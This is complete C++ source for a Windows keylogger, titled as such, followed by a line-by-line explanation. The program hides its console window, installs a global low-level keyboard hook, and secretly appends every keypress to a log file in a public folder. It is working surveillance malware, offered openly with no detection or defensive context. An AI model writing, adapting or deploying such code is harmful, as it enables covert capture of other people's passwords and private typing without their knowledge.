Keylogger

```cpp
C++ Code
#include <windows.h>
#include <stdio.h>
#include <fstream>

int keyCount = 0;
// hook
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    if (nCode == HC_ACTION && wParam == WM_KEYDOWN) {
        DWORD vkCode = ((KBDLLHOOKSTRUCT*)lParam)->vkCode;

        FILE* file;
        fopen_s(&file, "C:\\Users\\Public\\Music\\log.txt", "a");
        if (file != NULL) {
            fprintf(file, "%c", vkCode);
            fclose(file);
        }
        keyCount++;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    // creating invisible window
    AllocConsole();
    ShowWindow(GetConsoleWindow(), SW_HIDE);

    // set hook
    HHOOK hook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

    // wait for events
    MSG msg;
    while (GetMessage(&msg, NULL, 0, 0) > 0) {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    // delete hook
    UnhookWindowsHookEx(hook);
    return 0;
}
```

This code is a Windows program that sets up a low-level keyboard hook to intercept and log keypresses. It creates an invisible window, sets the keyboard hook, and logs the pressed keys to a file. Here's a breakdown of the code:

1. **Header Includes**:
   - `<windows.h>`: Provides access to Windows API functions and data types.
   - `<stdio.h>`: Standard input/output functions for file operations.
   - `<fstream>`: File stream operations (not used in this code).
2. **Global Variables**:
   - `int keyCount = 0;`: This variable is used to count the number of keys pressed.
3. **`KeyboardProc` Function**:
   - `LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)`: This is the callback function for the keyboard hook. It's called whenever a keyboard event occurs.
   - Inside the function:
     - It checks if `nCode` is `HC_ACTION` (a keyboard event) and `wParam` is `WM_KEYDOWN` (a key is pressed).
     - If the conditions are met, it retrieves the virtual key code (`vkCode`) from the `lParam`.
     - It opens a file at "C:\Users\Public\Music\log.txt" in append mode (`"a"`).
     - If the file is successfully opened, it writes the character corresponding to the `vkCode` to the file and then closes it.
     - It increments `keyCount` to keep track of the number of keys pressed.
   - The function returns the result of calling `CallNextHookEx`, which passes the event to the next hook in the hook chain.
4. **`WinMain` Function**:
   - `int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)`: This is the entry point of the program, which is typically used for Windows GUI applications.
   - Inside the function:
     - It allocates a console window with `AllocConsole()` to enable console output.
     - It hides the console window using `ShowWindow(GetConsoleWindow(), SW_HIDE)` to make it invisible to the user.
     - It sets up a low-level keyboard hook using `SetWindowsHookEx`. The hook type is `WH_KEYBOARD_LL` (low-level keyboard hook), and the callback function is `KeyboardProc`. This hook captures keyboard events globally.
     - It enters a message loop with `GetMessage` to keep the program running and processing messages.
     - Inside the loop, it calls `TranslateMessage` and `DispatchMessage` to handle incoming messages.
     - When the loop exits (e.g., when the user closes the console), it unhooks the keyboard hook with `UnhookWindowsHookEx`.

In summary, this code creates a hidden Windows program that logs keypresses to a file while running in the background. It uses a low-level keyboard hook to capture key events and write them to "C:\Users\Public\Music\log.txt." The program remains active until it is closed by the user.